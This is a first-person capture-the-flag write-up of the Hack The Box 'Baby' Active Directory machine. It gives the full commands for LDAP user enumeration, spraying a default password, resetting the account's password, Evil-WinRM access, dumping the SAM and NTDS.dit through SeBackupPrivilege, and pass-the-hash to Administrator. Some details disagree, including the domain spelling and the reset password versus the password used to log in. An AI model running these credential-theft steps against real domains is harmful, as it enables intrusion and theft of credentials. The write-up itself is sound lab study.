

Baby Machine (Easy)

Overview

This machine focuses on **Active Directory enumeration, password spraying, and privilege escalation using SeBackupPrivilege**. The attack path was fairly straightforward once the core concepts were understood, especially the difference between local and domain credentials.

Enumeration

I started with a basic scan using Nmap:

```
nmap -sC -sV 10.129.116.120
```

The scan revealed several important ports:

- 389 (LDAP)
- 88 (Kerberos)
- 445 (SMB)
- 3389 (RDP)

From the output, I identified that the target was part of a domain:

baby.vl

and the domain controller was:

BabyDC.baby.vl

To make things easier, I added this to my `/etc/hosts` file so my machine could resolve the domain properly.

```
(sylesh@kali)-[~/Documents/Hackthebox/Baby]
└─$ nmap -sC -sV 10.129.234.71
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-05 19:27 IST
Nmap scan report for 10.129.234.71
Host is up (0.052s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-05 18:28:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
```

```
593/tcp open ncaen http      Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-date: 2026-05-05T18:28:45+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|   System_Time: 2026-05-05T18:28:06+00:00
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2026-05-04T18:20:51
| Not valid after: 2026-11-03T18:20:51
5985/tcp open http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-05-05T18:28:08
|   start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 57.72 seconds
```

LDAP Enumeration

Since LDAP was accessible, I attempted to enumerate users:

```
ldapsearch -x -b "dc=baby,dc=vl" "(objectClass=user)" -H ldap://BabyDC.baby.vl
```

This gave me a list of usernames such as:

- Jacqueline.Barnett
- Ashley.Webb
- Teresa.Bell

Looking deeper into the output (without filtering), I noticed something interesting in one of the user descriptions:

description: Set initial password to BabyStart123!

This looked like a default password.

```
(sylesh@kali) [~/Documents/Hackthebox/Baby]
└─$ ldapsearch -x -b "dc=baby,dc=v1" "(objectClass=user)" -H ldap://BabyDC.baby.v1 | grep sAMAccountName
sAMAccountName: Guest
sAMAccountName: Jacqueline.Barnett
sAMAccountName: Ashley.Webb
sAMAccountName: Hugh.George
sAMAccountName: Leonard.Dyer
sAMAccountName: Connor.Wilkinson
sAMAccountName: Joseph.Hughes
sAMAccountName: Kerry.Wilson
sAMAccountName: Teresa.Bell
```

Password Spraying

I saved all usernames into a file and attempted a password spray using:

```
nxc ldap baby.v1 -u users.txt -p 'BabyStart123!'
```

Initially, none of the users worked. This suggested that I might be missing some accounts.

Deeper Enumeration

To explore further, I listed all objects in the domain:

```
ldapsearch -x -b "dc=baby,dc=v1" "*" -H ldap://BabyDC.baby.v1 | grep dn
```

This revealed additional users that were not part of the initial results:

- Ian.Walker
- Caroline.Robinson

After adding them to my user list and retrying the password spray, I finally got a hit:

Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE

This meant the password was correct, but the account required a password reset.

Gaining Access

I reset the password using SMB:

```
smbpasswd -U BABY/caroline.robinson -r baby.v1
```

After setting a new password “Baby@123”, I connected to the machine using Evil-WinRM:

```
evil-winrm -i baby.vl -u caroline.robinson -p NewPass123
```

This gave me a shell on the system.

Privilege Escalation

Checking Privileges

I checked the current privileges:

```
whoami /priv
```

I noticed:

SeBackupPrivilege

SeRestorePrivilege

This was a strong indicator that I could read protected files on the system.

Dumping Local Credentials

I first attempted to dump local credentials:

```
reg save hklm\sam sam
```

```
reg save hklm\system system
```

Then extracted hashes using:

```
impacket-secretsdump -sam sam -system system LOCAL
```

Although I obtained a hash for Administrator, it didn’t work for login.

Understanding the Problem

At this point, I realized an important concept:

- **SAM stores local users**
- But this machine is a **Domain Controller**

So the real credentials I needed were stored in:

NTDS.dit

Extracting NTDS.dit

Since the file is locked, I created a shadow copy using `diskshadow` and exposed it as another drive.

Then I copied the file:

```
robocopy /b E:\Windows\ntds . ntds.dit
```

Dumping Domain Hashes

Using the SYSTEM file and NTDS.dit:

```
impacket-secretsdump -system system -ntds ntds.dit LOCAL
```

This time, I successfully extracted domain hashes, including the Administrator hash.

Pass-the-Hash

Instead of cracking the password, I used the hash directly:

```
evil-winrm -i baby.vl -u administrator -H <hash>
```

This worked, and I gained Administrator access.

Conclusion

This machine clearly demonstrated the importance of understanding the difference between **local** and **domain authentication**.

Key Takeaways:

- LDAP enumeration can reveal critical information
- Misconfigured descriptions can expose passwords
- Password spraying is effective with proper user lists
- SeBackupPrivilege can be abused to dump sensitive files
- SAM is useful, but NTDS.dit is the real target in AD environments
- Pass-the-Hash allows login without knowing the actual password